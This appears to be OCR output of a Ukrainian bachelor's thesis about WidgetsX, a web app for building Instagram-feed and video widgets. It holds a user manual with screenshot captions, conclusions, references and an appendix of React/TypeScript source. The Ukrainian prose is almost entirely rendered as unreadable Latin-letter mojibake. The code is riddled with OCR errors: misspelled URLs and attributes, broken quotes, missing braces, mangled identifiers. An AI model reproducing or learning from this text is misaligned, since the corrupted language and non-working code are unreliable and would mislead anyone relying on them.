npodiiro KopuctyBaya Ta myomnikauiid y popmari JSON.

Takox 0a3a JaHUX Mae€ Takl 3B’ A3KU MK TaOIUALSIMHU:

— tabmuns "KopucrtyBaui" (users) mos'szaHa 3 TaOiuismu " JogaTku
KopucTyBaua" (user_applications) Ta "TaTerpariamu KopucTyBaua"
(user_integrations) mossimu "user_id";

— t1abmuus "Ilporpamu KopucTyBaua', KpiM BHUIIE3raJaHOro 3B'S3KYy 3
TaOIUICI0 KOPHUCTYyBayiB, Mae 3B'a3ku 3 TaOmuismu "Kougiryparis mporpamu
Bimeo" Ta "Koudirypauis nporpamu IHcrarpam ranepei”’ 3a JONOMOIoOI0 TMOJIB
"user app id", Takox TaOmMIl Mae 3B'A30K 3 Tabnuiero "Jlomatku" mosiem

"app_idﬂ.

3.5 BucHOBKH 10 po3aiay 3

Jlnst po3poOJIIOBaHOTO MPOrPAMHOTO MPOAYKTY B JIAaHOMY pO3JUIl Oyio
00paHO CTEK TEXHOJIOTIH Ta MPOTrpaMHHX 3ac00iB JIsl PO3POOKH, CIHPOEKTOBAHO
3araJlbHy  apXiTeKTypy CHCTEMH, 3aCHOBaHy Ha apXiTeKTypHOMY CTHII
MikpocepBiciB, a Takox rpadiyHuil iHTepdenc nporpamu.

Po3pobneno Ta cTBOpeHy Oa3y nmaHux Juisi 30epiraHHs Ta KepyBaHHS

JaHUMU TIPOTPAMHOTO MPOAYKTY.
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4 KEPIBHUIITBO 3 BHKOPUCTAHHSI TIPOTPAMHOIO
MPOJIYKTY

4.1 Tlpu3HayeHHSI TAa YMOBH BUKOPHCTAHHS MPOrPAMHOIO MPOAYKTY

Jlanuii mporpaMHHMil MPOJAYKT TMPEACTaBIsi€e COOOK CHUCTEMY, sIKa
npuU3HaYeHa JJIs KOPUCTYBAviB, SKUM HEOOXITHO CTBOPIOBATH BJIACHI BIKETH.

[IporpamHuii NMpoAyKT HAMMCAaHO HAa MOBI TporpaMmyBaHHs JavaScript 3
BUKOpUCTaHHAM TypeScript, 110 103BOJIsIE MBUAKO Ta €(EKTUBHO CTBOPIOBATH
BE03aCTOCYHKH, a TAKOXK 3 BUKOPUCTaHHAM 0a3u ganux MySQL nns cTBOpeHHS,
30epiraHHs Ta MIBUJIKOTO KEPYBAHHS BEIUKOIO KUIBKICTIO JAHUX.

Jlaamit BeOJOIATOK MOXE BUKOPHUCTOBYBATHUCh Maike Ha Oyab-SIKOMY
npuctpoi mwiatrhpopmu MacOS a6o Windows(7,10), mo mae xoua 6 0JJuH Cy4acHHI

BeOOpay3ep. He moTpebye BcTaHOBIEHHS OyAb-SKUX 1HIIINX KOMIIOHEHTIB.

4.2 @yHkuii cucreMu

[Iporpamue 3a0e3neueHHs JIJIs1 CTBOPEHHSI BIJDKETIB 3a0e31euye BUKOHAHHS
Takux QyHKITIH:

— aBTOpHW3AIliSl Ta PEECTpallisi KOPHUCTYBadiB MPOTpaMU I CTBOPCHHS
BIJKETIB;

— CTBOPEHHS HOBUX BIJIKETIB;

— TIeperyisifi CTBOPEHUX BIKETIB,;

— MOJKJIMBICTb peJaryBaTu CTBOPEH1 BIJHKETH.

4.3 Bxiani Ta BuxigHi 1ani

BxigHuMHU JaHUMH 10 TPOTrpaMHOro 3a0e3MeyYeHHs MJisi CTBOPEHHS
BIJIDKETIB € OCOOHUCTI JIaHl MPO KOPUCTYyBaua:
— IM’s;

— TPI3BULIE;
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— 1M’sl KOpHUCTYBaya;

— TapoJb;

— aJpeca eJIEKTPOHHOI MOIITH;

— 0COOMCTI 1aHl KOPUCTyBaya 31 CTOPOHHIX 3aCTOCYHKIB;

— (aiinm, IK1 KOPUCTYBay 3aBaHTAXYE J0 MPOrpamu.

Buximaumu nanumu € oOpoOieHa iHpopMalrisi mpo KOPUCTyBada, a TaKOX

CTBOpeHI/II\/’I Bi)I}KeT Ta IOCUJIAHHA HAa HBOI'O I IMOAAJIbIIOTO BUKOPUCTAHHA Y

MPOrpaMHOMY KOJIi.

4.4 B3aeMojis i3 NPOrpaMHHUM MPOTYKTOM

Jns Toro mo6 posmnodyatu poOOTy 3 MPOrpaMoro, KOPUCTyBay MOBUHEH
3apeectpyBarucs. KopucrtyBaueBi Tpeba BBECTHM CBO€ 1M’sl, MpI3BUILE, 1M’

KOpHCTyBava Ta IpUIyMaTy NapoJib sl MOAAIBIIOI aBTOpU3allii y BeO3aCTOCYHKY.

Ha pucynky 4.1 Oyne npoieMOHCTPOBaHO CTOPIHKY peecTparii.

WidgetsX

IMPROVE YOUR WEBSITE WITHOUT CODING

- ./f‘){‘ E Sign Up
—_— ‘j S
L AL mopm——

Sign up

(e

I;i/lgngOK 4.1 — CropiHKa peecTpauii y 10AaTKy
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SIk1ro KopuCTyBay BXKE MAa€ aKayHT Yy 3a CTOCYHKY, TO BIH Ma€ MOXKIJIUBICTb

aBTOpu3yBaTUCs. J{s 1IbOr0 MOTPIOHO BBECTH BCE CTBOPEHE 1M’sl KOpHUCTyBaya Ta

cBiii maposib. CTOpiHKY aBTOpU3aIlii Oy/ie HaBeeHo Ha puc. 4.2

WidgetsX

IMPROVE YOUR WEBSITE WITHOUT CODING

:

=

Welcome Back

Email

Usemame

Password

Password

Sign in

Don't have an account? Create

Pucynok 4.2 — CtopiHka aBTopu3arii

[Ticns aBTOpHM3allii abo peectpalii KOPUCTyBau MOTpAIUIIE€ Ha TOJIOBHY

CTOpIHKY — CTOpiHKY «Moi mporpamuy». [nTepdeiic ctopinku Oyne HaBeIeHO Ha

pUCYHKY 4.3.

< . .
WidgetsX My applications

@ Home

8 Applications

Explore other applications

Instagram Feed

(O) A posts rom your Instagram account

to your website

+Add application

View stats @

Video Gallery
Display videos on your website

Pucynok 4.3 — Ctopinka «Moi mporpamm»
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HatucnyBummm na mone «Instagram Feed» («lucrarpam Tanepes»),
KOPHUCTYBau MEPeXOJUTh Ha CTOPIHKY CTBOpeHHs BipkeTy «IHcTarpam ["anepes».

IaTepdeiic cTopinku MpoaeMOHCTPOBAHO HA puc. 4.4.

Untitied widget ‘WidgetsX Cancel

k=] Source
Sources =
Instagram Connection
Authorize in your Instagram
Layout | account to display profle.
Color ( ,
5

222

@ Connect to Instagram

Follow

Pucynok 4.4 — Ctopinka ctBopeHHs BikeTy «lHcTarpam ["anepes»

Hartuckanns knonku «Connect to Instagramy, sika 300paxkeHa Ha PUCYHKY
4.5, BIZKpUBAE BIKHO MIiATBEPHKEHHS MIIKIIOUSHHS TOJATKy /10 aKaHTy Instagram.
[Ticnst miATBEpIKEHHS BIIKPUBAETHCS MOJIAJIbHE BIKHO aBTOpM3AIli Y
CTOPOHHBOMY JoAaTKy Instagram, nans TOro mo0 MOIAKIIOYUTH CBIA akayHT Ta
HAJAaTU JOCTYN JO MEPCOHAIBHHUX MaHUX JUIsl MOJANbIIOi poOOTH 31 CTBOPEHHS

BIJKETY.

Untitled widget

o Source
Sources

Instagram Connection

E Authorize in your Instagram
Layout account to display profile.

Color

© Connect to Instagram

Pucynok 4.5 — Knonka «Connect to Instagram»
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BikHO miaTBepIKeHHS TIKIIOYSHHS 300pakeHo Ha PUCYHKY 4.6.

You previously connected WidgetsX to your
Instagram account. Would you like to

continue sharing information about
rd2d2droid?

Pucynox 4.6 — BikHO miaTBEepKeHHS MAKIIOYeHHS 10 Instagram

MopanbsHe BIKHO aBTOpu3allli B conMepexi Instagram mpoIeMOHCTPOBAHO
Ha puc. 4.7.

Instagram

©OH, MMA NONL30BaTENA MAW 31, aapec

Napons

MK

K1 Boiitn uepea Facebook

3abeinn napone?

¥ BaC 2WE HEeT aKKayHTaT? 3aperncTpypoBarTsca

¥cTaHoBUTE N PUACHEHWS,

.

a;:-x.)gl-e Play

Crauate ¥
B Microsoft

Pucynox 4.7 — Bikao aBropm3aiiii y conmepexi Instagram
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Axmo kopucTyBad aBTOpU3yBaBcs B Instagram, Ha ekpaHl 3 SBUTHCA
MOBIIOMJICHHSI 1[0 HWOTO aKayHT YCIIIIHO MIiAKIIOYEHO 0 3aCTOCYyHKY. BikHO

MOBIJOMJICHHSI IPOICMOHCTPOBAHO HA PUCYHKY 4.8.

vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv

Success v

Pucynok 4.8 — BikHO MOBIJOMJIEHHS TIPO YCIIIIHE M1KII0YEHHS

[Ticns aBTopm3amii npodine Instagram iHTerpyeThest B gogatok. [Ipukman

IHTErpoOBaHOI0 MPO(P IO HABEAEHO HAa PUCYHKY 4.9.

titlad widge WidgetsX Cancel

o Source
Sources

B

Layout

D

Color

@rd2d2droid Connecte d

Pucynok 4.9 — IIpodins Instagram iHTErpoBaHuii B J01aTOK

[Ticnst HATUCKAHHS KHOTIKU «Savey» Ha eKpaHi 3’ ABJISIEThCS CIUIMBAOYE

MTOB1JIOMJICHHS, 1110 MICTUTh B COO1 CKPHIIT.
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Ieit ckpunT KOPUCTYBay IMMOBUHEH CKOIIFOBATH JIJIsl ITOAJIBIIOI pOOOTH:
HaIpUKIaa, T0JAaTH HOT0 Ha CBiil CallT.

InTepdeiic crimBaOUOro MOBiIOMIICHHS HaBeZeHO Ha puc. 4.10.

Export widget to your website

Copy and paste this code into desired place of your website (HTML editor, website
template, theme, etc)

<script sre="http://localhiost:3000/widgets/script/1"></script> D

Pucynox 4.10 — CruiuBaroye moBiIOMIICHHS 31 CKPUIITOM

[Tpuknan CT€HEpOBAaHOTO IIPOrpamoro BIJKETY Ha caifri

MPOJIEMOHCTPOBAaHO Ha puc. 4.11.

Recent Work

| am Strata, a ¢

Magna sed consequat tempus Ultricies lacinia interdum

Lorem ipsum dolor sit amet nisl sed nullam feugiat Lorem ipsum dolor sit amet nisl sed nulla

Tortor metus commodo Quam neque phasellus

Lorem ipsum dolor sit amet nisl sed nullam feugiat Lorem ipsum dolor sit amet nisl sed nullan

[
Pucynok 4.11 — Burnsan creHepoBaHOTO BIPKETY Ha CalTi

widgetsX
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HatucnyBmm na mone «Video Gallery» (Bimeo ramepesi) rosioBHOi
CTOPIHKH, KOPHUCTYBa4 MEPEXOJUTh Ha CTOPIHKY CTBOPEHHsI BiJleO-BiIKETy. TyT
CTOpIHIII KOPUCTYyBad Ma€ 3MOTY 3aBaHTAXHUTH Bineo-daiinm y ¢opmari .mp4.

[aTepdeiic ctopinku BiI€O-BIKETY HaBeICHO Ha puc. 4.12.

Untitied widgst WwidgetsX Cancel

B Layout
Layout

() 0 fam]
Video Vertical Horizontal

D

Color
Feed Title >
Slider Settings >

Other >

Pucynok 4.12 — CropiHka CTBOPEHHS B1J1€0-BIIXKETY

[Iponiec 3aBaHTaxkeHHs Bijieo-(dailily 1Jis CTBOPEHHS BiJIEO-BIIKETY

300pakeHO Ha pucyHKy 4.13.

Pucynok 4.13 — 3aBantakeHHs Bifeo-¢aiiny
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[Ticns  ycmimHOro 3aBaHTaKE€HHA OOpaHoro Qaily KOpUCTyBad Mae
MOXJIMBICTh TOOQYUTH MOTO0 Ha CTOPIHIN BiJICO-BDKETY Ta MPOBECTH IIEBHI
MaHIIyJISAIIl 3 JAaHUM BIDKETOM, HAPUKIIAJ, MIHSATH MOJOKEHHS CaMOTo BiJIe0 C
BEPTHUKAJIHLHOTO Ha TOPU30HTAIbHE Ta HaBIAKH, JIOJATH HAITMCH Ta 1HIIIE.

3aBaHTaXXeHUN Bijeo-Qaiil Ha CTOPIHIII CTBOPEHHS 300pa)XXeHO Ha

pUCyHKY 4.14.

Untitied widget WidgetsX Cancel

B Layout
Layout

(i 0 =]
Video Vertical Horizontal

D

Color

Feed Title >
Slider Settings >

Other 5

Pucynox 4.14 — 3aBanTaxxeHuit Bijeo-(ailyr Ha CTOPIHII CTBOPEHHS BIIKETY

[Ticns 30epiraHHst BIJKETY KOpPUCTYBad 3HOBY OTPUMYE CIUIMBAIOYE
MOBIJIOMJICHHSI 3 TIOCHUJIaHHSM Ha CTBOPEHMM BIDKET, SKE BIH MOXKE Hajasl
BUKOPUCTOBYBaTH Yy CBOIX MuUIIX. Hampwkiaa, $SK OTpoJAEeMOHCTPOBAHO Ha

pucysky 4.15, nomatu Bijieo Ha CBii CaulT.
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Editorial v f &80 M

Menu

Hi, I'm Editorial

GENERIC
Aenean ornare velit lacus, ac varius enim ullamcorper eu. Proin
ELEMENTS aliquam facilisis ante interdum congue. Integer mollis, nisl amet
convallis, porttitor magna ullamcorper, amet egestas mauris. Ut
SUBMENU - magna finibus nisi nec lacinia. Nam maximus erat id evismod
egestas. Pellentesque sapien ac quam. Lorem ipsum dolor sit
ETIAM DOLORE nullam.
ADIPISCING
LEARN MORE
ANOTHER SUBMENU &

MAXIMUS ERAT
SAPIEN MAURIS

AMET LACINIA

Erat lacinia

Ante interdum

WidgetsX

Portitor ullamcorper Sapien veroeros

Pucynok 4.15 — Burisig cTBOpeHOTO BiJIe0-BIPKETY Ha CaiTi

4.5 BucHoBku 10 po3airy 4

Y naHoMy po3auIl HaBEAEHO MPU3HAYEHHS HPOrpamMHOro IMPOAYKTY, a
TaK0’X YMOBHU BHUKOPUCTaHHS MPOAYKTY, MOrO BXiJHI Ta BuUxiaHi naHi. Haseneno
OMKUC OCHOBHMX (DYHKIIIH CHCTEMH Ta HAJAHO JIETaIbHY 1HCTPYKIIIIO0 KOPUCTYBava

T1OJ0 BUKOPHUCTAHHA JaHOTO ITPOIrpaMHOI0 3a0e3MeUeHHS.
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BUCHOBKH

B xoni BukoHaHHS AMIUIOMHOI KBami(ikaiiiHoi podotu OakamaBpa Oyiio
MIPOAHAJI30BaHO Ta JOCIIPKEHO TPOIEeC PO3POOKH MPOrpaMHOro 3abe3nedeHHs
JUTSl CTBOPEHHS BIXKETIB.

[IpoananizoBaHO iCHYIOYI TPOTpaMHI 3acO0M IJIsi CTBOPEHHS BIJKETIB,
OIliHEHI iX MOMJIMBOCTI, iX MepeBaru Ta HEJOJIKH, a TaKOX iX JOCTYIHICTh AJIs
KopucTyBauiB. byno BuSBIEHO, 10 OUIBIIICTh ICHYIOUHMX 3aCTOCYHKIB
BIJIMOB1/IaI0Th BUMOTaM 0ararb0X KOPHUCTYBaviB.

Takoxx Oyl0 MNpOBENEHO TOPIBHSJIBHUM aHaIl3  Ta OOTPYHTYBaHHS
BUKOPUCTAHHS IHCTPYMEHTIB JUIsl pO3pOOKHU TOIIOHUX JTOJATKIB, B pe3yJIbTaTI YOTO
MOBOIO JIJIsl pO3POOKU TOAATKY JJII CTBOPEHHS Bi/PKETIB Oysio oOpano JavaScript 3
BUKkopuctanHaMm TypeScript. IlpoBeaeni nocmijkeHHsa Oyid 3BEACHI Yy
MOPIBHSUTBHUX TAOTHIISIX.

It po3poOIIOBAHOTO TPOrPAMHOTO MPOAYKTY OyJIo CHpPOEKTOBAHO
3arajbHy apxiTeKTypy cuctemMu Ta rpadiuHui iHTepdeiic. Takox Oyio
CIIPOEKTOBAHO apXITEKTYypy O0a3u JaHUX JAJis 3pYyYHOTO Ta IIBHJKOTO KEepyBaHHS
JTaHUMHU.

HaBeneno mpu3HaueHHS CUCTEMHU, YMOBU BHUKOPHCTAHHS PO3POOJIEHOTO
MPOrPaMHOTO MPOJYKTY, MOT0o BXiJIHI Ta BUX1JIHI JIaHi, a TAKOK HOTO MOMJIMBOCTI.
Takox OyJyio HaBeJIeHO OCHOBHI (yHKIII1 cucteMu. KpiMm TOro, HajjaeThes AeTajibHa

THCTPYKIIA JI1 KOPUCTYyBaya 11010 BUKOPUCTAHHS MPOTrPaMHOro 3a0e3MneyeHHs.
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INEPEJIIK JZKEPEJI IIOCUJIAHHA

1. What is Bootstrap? [Electronic resource]. — Access mode
https://getbootstrap.com/.

2. What 1is Javascript? [Electronic resource]. — Access mode
https://developer.mozilla.org/enUS/docs/Learn/JavaScript/First_steps/

What is_JavaScript.

3. What is HTMLS5 Canvas? [Electronic resource]. — Access mode :
https://www.w3schools.com/html/html5 canvas.asp.

4. What is the widget? [Electronic resource]. — Access mode
https://www.techtarget.com/whatis/definition/widget.

5. Salesforce: The Customer Company [Electronic resource]. — Access
mode : https://www.salesforce.com/.

6. IBM Company [Electronic resource]. — Access mode
https://www.ibm.com/us-en/.

7. Why Visual Studio Code? [Electronic resource]. — Access mode
https://code.visualstudio.com/docs/editor/whyvscode.

8. @it [Electronic resource]. — Access mode : https://git-scm.com/.

9. Atom vs VSCode [Electronic resource]. — Access mode
https://www.crazyegg.com/blog/atom-vs-visual-studio-code/.

10. Atom vs WebStorm [Electronic resource]. — Access mode
https://stackshare.io/stackups/atom-vs-webstorm.

11. Top 5 Reasons You Should Use Chrome [Electronic resource]. —
Access mode : https://www.ditoweb.com/2014/02/top-5-reasons-you-should-use-
google/#:~:text=Chrome%?201s%20designed%20t0%20be, WebKit%20open
%?20source%?20rendering%?20engine.

12. Google. American Company [Electronic resource]. — Access mode :
https://www.britannica.com/topic/Google-Inc.

13. Most Popular Web Browsers In 2023 [Electronic resource]. — Access

mode:https:// www.oberlo.com/statistics/browser-market-share#:~:text=As%200of
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%20February%202023%2C%20Google's,%25%2C%2046.88%20percentage
%20points%20behind.

14. CrossBrowser Testing [Electronic resource]. — Access mode

https://www.browserstack.com/cross-browser-testing

15. What is API [Electronic resource]. — Access mode

https://aws.amazon.com/what-is/api/?’ncl=h_Is

16. TypeScript  [Electronic  resource]. @ —  Access  mode

https://www.typescriptlang.org/

17. JSON Web Token [Electronic resource]. — Access mode:
https://jwt.i0/.
18. MicroService Architecture [Electronic resource]. — Access mode:

https://learn.microsoft.com/en-us/azure/architecture/guide/architecture-styles/

microservices
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import './root/index.css';

import ReactDOM from 'react-dom/client';

import App from './root/App';

import { BrowserRouter } from 'react-router-dom';
import { AuthorizationWrapper } from
'./components/Authorization/AuthorizationWrapper";
import { Provider } from 'react-redux';

import { store } from './state/store’;

const root = ReactDOM.createRoot(
document.getElementById('root') as HTMLElement
);
root. render(
<BrowserRouter basename='WidgetsX'>
<AuthorizationWrapper>
<Provider store={store}>
<App/>
</Provider>
</AuthorizationWrapper>
</BrowserRouter>
);
import styles from './App.module.css';
import { AppRoutes } from 'src/components/General/AppRoutes';
import { NavMenu } from '../components/Menu/NavMenu';

function App() {
return (
<>
<div className={styles.container}>
<NavMenu />
<AppRoutes />
</div>
</>

);

export default App;

import axios, { AxiosInstance } from 'axios'

export class APIClient {
private instance: AxiosInstance = null
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constructor(protected baseUrl: string, private token?: string){
this.instance = axios.create({
baseURL: this.baseUr1,
headers: this.token
? { Authorization: “Bearer ${this.token}" }

{}

protected get<T>(url: string, params?: any){
return this.instance.get<T>(url, { params })

protected post<T>(url: string, body?: any){
return this.instance.post<T>(url, body)

protected put<T>(url: string, body?: any){
return this.instance.put<T>(url, body)

protected delete<T>(url: string){
return this.instance.delete<T>(url)

import { APIClient } from "src/lib/utils/api.client";
import { IGenerateAccessTokenResponse } from "./interfaces/instagram-
api.interface";

class InstagramAPI extends APIClient {
constructor(baseURL: string, token: string){
super(baseURL, token)

public async getAuthorizelLink(): Promise<string>{
return this.get<{link: string}>('/integrations/instagram/authorization-
link")
.then((d) => d.data.link)
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public async generateAccessToken(code: string) {
return
this.get<IGenerateAccessTokenResponse>('/integrations/instagram/exchange-
code', { code })
.then((d) => d.data)
.catch((e) => {
throw new Error(e)

}

public async getUserMediaData(profileID: string){
return this.get<any>('/integrations/instagram/profile-data’,
{ external user id: profilelD })
.then((d) => d.data)

let client: InstagramAPI = null

export function getInstagramAPIClient(token: string){
if(! client){
_client = new InstagramAPI(
process.env.REACT APP_API URL,
token

return client

}

import { APIClient } from "src/lib/utils/api.client"

import { ICheckUsernameExistsRes, ISubmitUserDataRes, IUser, IUserCreds,
IValidateAccessTokenRes } from "./interfaces/user-auth-api.interfaces"

class UserAuthAPI extends APIClient {

constructor(baseUrl: string){
super (baseUrl)

public async validateAccessToken(token: string){
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return
this.get<IValidateAccessTokenRes>("'/user-authorization/validate/jwt', { token
})
.then((res) => res.data)
}
public async checkUsernameExistis(name: string){
return this.get<ICheckUsernameExistsRes>("'/user-authorization/check-
username', { name })
.then((res) => res.data)

public async submitUserCreds(payload: IUserCreds){
return this.post<ISubmitUserDataRes>('/user-authorization/sign-in',

payload)
.then((res) => res.data)
}
public async submitNewUser(payload: Pick<IUser, "first name" | "last name"
| "username" | "password">){
return this.post<ISubmitUserDataRes>('/user-authorization/sign-up',
payload)
.then((res) => res.data)
}

let client: UserAuthAPI = null

export function getUserAuthAPIClient(){
if(! client){
_client = new UserAuthAPI(process.env.REACT APP _API URL)

return client

export interface IGenerateAccessTokenResponse {
id: number
user_id: number
external user id: string
type: string
access token: string



refresh token: string
token renewed at: string
created at: string
updated at: string

}

export interface IUser {
id: number
first name: string
last _name: string
full name: string
username: string
password: string
created at: string
updated at: string

export interface IUserCreds {
username: string;
password: string;

export interface ICheckUsernameExistsRes {
exist: boolean;

export interface IValidateAccessTokenRes {
valid: boolean;
error: string;
token: string;

export interface ISubmitUserDataRes {
user: IUser;
token: string;

import styles from './NavMenu.module.css'

import { AiOutlineArrowLeft } from 'react-icons/ai'
import { BrandLogo } from '../General/BrandLogo'

import { Link, uselLocation } from 'react-router-dom'
import { routesDefinition } from '../General/AppRoutes'
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import { useState } from 'react’

import { useAppSelector } from 'src/lib/hooks/redux'

export function NavMenu(){

const hiddeNavMenu = useAppSelector((s) => s.appLayout.hiddeNavMenu)

const [ showNavMenu, setShowNavMenu ] = useState(true)
const { pathname: currPath } = uselLocation()
return (

'hiddeNavMenu &&

<div className={ ${styles.container} ${!showNavMenu ?

styles.container hidden : ''}"}>
<div
className={ ${styles.nav_toggle} ${ !showNavMenu ?
styles.nav_toggle off : '' }°}

onClick={() => setShowNavMenu(!showNavMenu)}

<AiOutlineArrowlLeft size='20px' />
</div>
{showNavMenu
? <BrandLogo logoWidth='100px' taglineWidth='200px' />
To<</>
}
<ul className={styles.nav_container}>
{routesDefinition
.filter((def) => !def.hidden)
.map((def, i)

>

<li key={i}>

<Link to={def.path} style={{textDecoration: 'none',

'black'}}>
<div

className={

"${styles.nav_item} ${currPath === def.path ?

styles.nav_item active : '' }°

}

{def.icon}
{showNavMenu ? def.name : ''}
</div>
</Link>

</li>

color:
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</ul>

</div>

import style from './Authorization.module.css'

import _ from 'lodash’

import { useEffect, useState } from 'react'

import { getUserAuthAPIClient } from 'src/lib/services/api/user-auth-
api.client'

import { useUsernameExists } from 'src/lib/hooks/check-username'
import { IAuthorizationProps } from './Authorization'

interface ISignInProps extends IAuthorizationProps {
hidde: boolean

export const SignIn = ({ hidde, setToken }: ISignInProps) => {
const [login, setlLogin] = useState<string>(null)
const [password, setPassword] = useState<string>(null)
const [isInputWrong, setWrongInput] = useState(false)

const userAuthAPIClient = getUserAuthAPIClient()

const { username, exists } = useUsernameExists(login)

const submitUserCreds = async() => {
if(! .isEmpty(login) && ! .isEmpty(password)){

try {

const { token } = await userAuthAPIClient.submitUserCreds({ username:
login, password })

setToken(token)

} catch (error) {
window.alert( .get(error, 'data.message') ?? .get(error, 'message'))

useEffect(() => {
if(_.isEmpty(username)){
setWrongInput(false)



return

setWrongInput(!exists)

}, [username, exists])

if(hidde){
return <></>
}
return (
<>
<div className={style.signin container}>
<div className={style.signin container items}>
<h2>Welcome Back</h2>
<div>
<p>Email</p>
<input
type="'text'
className={[style.signin container items input, isInputWrong ?
style.err _input : '']J.join(' ")}
onChange={(e) => setLogin(e.target.value)}
placeholder='Username'
/>
</div>
<div>
<p>Password</p>
<input
type="'password'
onChange={(e) => setPassword(e.target.value)}
className={style.signin container items input}
placeholder='Password'
/>
</div>
<button
onClick={submitUserCreds}
className={[style.authorization button, isInputWrong ?
style.button disabled : '' ].join(' ")}
>
Sign in
</button>

</div>



63

</div>

</>

}

/* eslint-disable react-hooks/exhaustive-deps */

import style from './Authorization.module.css'

import

from 'lodash'

import { Dispatch, useEffect, useState } from 'react'

import { useUsernameExists } from 'src/lib/hooks/check-username'

import { getUserAuthAPIClient } from 'src/lib/services/api/user-auth-

api.client'

import { AiOutlineArrowLeft } from 'react-icons/ai'

import { IAuthorizationProps } from './Authorization'

interface ISignUpProps extends IAuthorizationProps {

hidde:

boolean;

setShowSignUpForm: Dispatch<React.SetStateAction<boolean>>;

export const SignUp = ({ hidde, setShowSignUpForm, setToken }: ISignUpProps)

= {
const
const
const
const

const
const

const

const

[username, setUsername] = useState<string>(null)
[firstName, setFirstName] = useState<string>(null)
useState<string>(null)

[lastName, setlLastName]

[password, setPassword] useState<string>(null)

[isInputWrong, setWrongInput] = useState(false)
[allowToSubmit, setAllowToSubmit] = useState(false)

{ username: debouncedUsername, exists } = useUsernameExists(username)

submitNewUser = async() => {

if(!allowToSubmit){

return

try

{

const { token } = await getUserAuthAPIClient()

.submitNewUser({
username,

password: password,



first name: firstName,
last _name: lastName,

}

setToken(token)
} catch (error) {
window.alert( .get(error, 'data.message') ?? .get(error, 'message'))

useEffect(() => {
if( .isEmpty(username)){
setWrongInput(false)

return

setWrongInput (exists)
}, [debouncedUsername, exists])

useEffect(() => {
const isFormCompleted = ! .isEmpty(debouncedUsername) && 'exists && !
.1sEmpty(password)

setAllowToSubmit(isFormCompleted)
}, [debouncedUsername, password, exists])

if(hidde){

return <s</>

return (
<>
<div className={style.signup container}>
<div className={style.signup container items}>
<AiOutlineArrowLeft style={{cursor: 'pointer'}} onClick={() =>
setShowSignUpForm(false)} />
<h2>Sign Up</h2>
<div className={style.signup container block}>

<input
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type="text'

value={firstName || ''}
className={style.signin container items input}
onChange={(e) => setFirstName(e.target.value)}
placeholder='First name'

/>

<input
type="'text'
value={lastName || ''}

className={style.signin_container_ items input}
onChange={(e) => setLastName(e.target.value)}
placeholder='Last name'

/>
</div>
<input
type="text'
value={username || ''}

className={[style.signin container items input, isInputWrong ?
style.err _input : '']J.join(' ")}
onChange={(e) => setUsername(e.target.value)}
placeholder="'Username'
/>
<input
type='password'
value={password || ''}
className={style.signin container_items input}
onChange={(e) => setPassword(e.target.value)}
placeholder="'Password'
/>
<button
className={[style.authorization button, !'allowToSubmit ?
style.button disabled : '' ].join(' ')}
onClick={submitNewUser}

Sign up
</button>
</div>
</div>

</>
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/* eslint-disable react-hooks/exhaustive-deps */

import style from './Authorization.module.css'

import { Dispatch, useState } from 'react'

import { Illustration } from './Illustration/Illustration'’
import { SignIn } from './SignIn'

import { SignUp } from './SignUp'

export interface IAuthorizationProps {
setToken?: Dispatch<React.SetStateAction<string>>

export function Authorization({ setToken }: IAuthorizationProps){
const [showSignUpForm, setShowSignUpForm] = useState(false)

return (
<div className={style.container}>
<div className={style.illustration container}>
<Illustration />
</div>
<div className={style.forms container}>
<SignIn hidde={showSignUpForm} setToken={setToken} />
<SignUp hidde={!showSignUpForm} setToken={setToken}
setShowSignUpForm={setShowSignUpForm} />
{
IshowSignUpForm &&
<div className={style.signup label} onClick={() =>
setShowSignUpForm(true)}>
<p>Don't have an account? Create</p>
</div>
}
</div>

</div>

}

/* eslint-disable react-hooks/exhaustive-deps */

import _ from 'lodash'’

import { ReactNode, useEffect, useState } from "react"

import { getUserAuthAPIClient } from 'src/lib/services/api/user-auth-
api.client'

import { Authorization } from "./Authorization"
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interface IAuthorizationWrapperProps {
children: ReactNode

export const TOKEN KEY = 'widgetsx_ token'

export function AuthorizationWrapper({ children }:
TAuthorizationWrapperProps){

const [isAuthorized, setIsAuthorized] = useState(false)
useState(localStorage.getItem(TOKEN KEY))

const [token, setToken]

const userAuthAPIClient

getUserAuthAPIClient()

useEffect(() => {
if( _.isEmpty(token)){
setIsAuthorized(false)

return
}
userAuthAPIClient
.validateAccessToken(token)
.then(({ valid }) => {
setIsAuthorized(valid)
localStorage.setItem(TOKEN KEY, token)
})
}, [token])
return (
<>

{!isAuthorized && !process.env.REACT APP DISABLE AUTH ? <Authorization
setToken={setToken} /> : children}

</>

}

import styles from './Applications.module.css'
import { AiOutlinePlus } from 'react-icons/ai'
import { useAppSelector } from 'src/lib/hooks/redux'
import { ApplicationCard } from "./partials/ApplicationCard"
export const UserApplications = () => {
const userApps = useAppSelector((state) => state.userApps)
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return (
<>
<div className={styles.applications container}>
{userApps.map((app, 1) =>
<ApplicationCard
id={i}
type={app.type}
status={app.status}
label={app.label}
color={app.color}
/>
)}
<div className={styles.new application}>
<button className={styles.button new}>
<AiQutlinePlus size={20}/>
<h3>Add application</h3>
</button>
</div>
</div>

</>

}
import styles from './ApplicationsCatalog.module.css'
import { ApplicationsCatalogCard } from "./partials/ApplicationsCatalogCard"

const applicationsCatalog = [
{
type: 'Instagram',
name: 'Instagram Feed',
description: 'Add posts from your Instagram account to your website'

type: 'Video',
name: 'Video Gallery',
description: 'Display videos on your website'

]
export const ApplicationCatalog = () => {
return (

<>

<div className={styles.app catalog container}>
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{applicationsCatalog.map((a) =>
<ApplicationsCatalogCard type={a.type} name={a.name}
description={a.description}/>
)}
</div>

</>

import { configureStore } from "@reduxjs/toolkit";

import { userAppsReducer } from "./user-applications/user-
applications.slice";

import { appLayoutReducer } from "./app-layout/app-layout.slice";

import { instagramFeedReducer } from "./instagram-feed/instagram-feed.slice";
import { instagramIntegrationReducer } from
"./instagram-integration/instagram-integration.slice";

import { createStateSyncMiddleware } from "redux-state-sync";

export const store = configureStore({
reducer: {
userApps: userAppsReducer,
appLayout: applLayoutReducer,
instagramFeed: instagramFeedReducer,
instagramIntegration: instagramIntegrationReducer
}
middleware: [createStateSyncMiddleware()]

})

import styles from './Builder.module.css'

import { useEffect } from "react"

import { useAppDispatch } from "src/lib/hooks/redux"

import { changeApplLayout } from "src/state/app-layout/app-layout.slice"
import { VideoBuilder } from "./VideoBuilder/VideoBuilder"

import { Link, useSearchParams } from "react-router-dom"

import { BrandLogo } from '../General/BrandLogo'

import { InstagramFeedBuilder } from
'./InstagramFeedBuilder/InstagramFeedBuilder"'

